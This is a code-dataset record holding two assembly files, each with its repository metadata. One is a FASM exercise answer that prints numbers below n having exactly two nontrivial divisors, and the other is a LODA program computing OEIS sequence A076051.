data/github.com/xorpd/asm_prog_ex/90cd6c43921349330b6b44ae19e162b08524c1c1/4_basic_assembly/0_branching/4_structured_branching/answers/2_write_code/0.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
9
2018-08-07T11:54:33.000Z
2022-03-11T09:48:45.000Z
data/github.com/xorpd/asm_prog_ex/90cd6c43921349330b6b44ae19e162b08524c1c1/4_basic_assembly/0_branching/4_structured_branching/answers/2_write_code/0.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
91
2019-11-11T15:41:26.000Z
2022-03-21T04:17:18.000Z
data/github.com/xorpd/asm_prog_ex/90cd6c43921349330b6b44ae19e162b08524c1c1/4_basic_assembly/0_branching/4_structured_branching/answers/2_write_code/0.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
3
2019-11-13T12:44:41.000Z
2022-01-06T19:34:26.000Z
; 0. Write a program that takes the number n as input. Then it prints all the ; numbers x below n that have exactly 2 different integral divisors (Besides 1 ; and x). ; ; For example: 15 is such a number. It is divisible by 1,3,5,15. (Here 3 and 5 ; are the two different divisiors, besides 1 and 15). ; ; However, 4 is not such a number. It is divisible by 1,2,4 ; format PE console entry start include 'win32a.inc' ; =============================================== section '.text' code readable executable start: call read_hex mov esi, eax ; user input mov ebx, 2 ; counter for x, x must be at least 3 or higher (inc in first iteration) next_integral: inc ebx mov ecx, 2 ; counter for divisor, at least 2 mov edi, 0 ; counter for integral divisors try_division: mov eax, ebx mov edx, 0 div ecx cmp edx, 0 ; check if there is a remainder jnz we_have_remainder inc edi ; no remainder, so increase the counter for integral diviors we_have_remainder: inc ecx cmp ebx, ecx jnz try_division cmp edi, 2 ; check if we have exactely 2 divisors jnz no_print_integral mov eax, ebx call print_eax no_print_integral: cmp esi, ebx ; check if our counter ebx has reached the user limit esi jnz next_integral ; Exit the process: push 0 call [ExitProcess] include 'training.inc'
22.629032
91
0.655025
521235e3d32c2dd8e74ae7acc5436c6ffe1eb599
787
asm
Assembly
oeis/076/A076051.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/076/A076051.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/076/A076051.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A076051: Sum of product of odd numbers <= n and the product of even numbers <= n. ; 2,3,5,11,23,63,153,489,1329,4785,14235,56475,181215,780255,2672145,12348945,44781345,220253985,840523635,4370620275,17465201775,95498916975,397983749625,2278224696825,9867844134225,58917607974225,264469801070475,1641787169697675,7618612476650175,49040157044253375,234748657653134625,1563094742062478625,7703855828862818625,52953322446161762625,268263758052098683875,1899986948191060603875,9879138385352252391375,71977860935783603175375,383608053176023482431625,2870913642898706235455625 mov $3,$0 add $3,1 mov $6,$0 lpb $3 mov $0,$6 mov $2,0 sub $3,1 sub $0,$3 mov $4,2 mov $5,1 lpb $0 add $2,$0 trn $0,2 mul $5,$2 mov $2,1 mov $4,$5 lpe add $1,$4 lpe mov $0,$1
32.791667
488
0.762389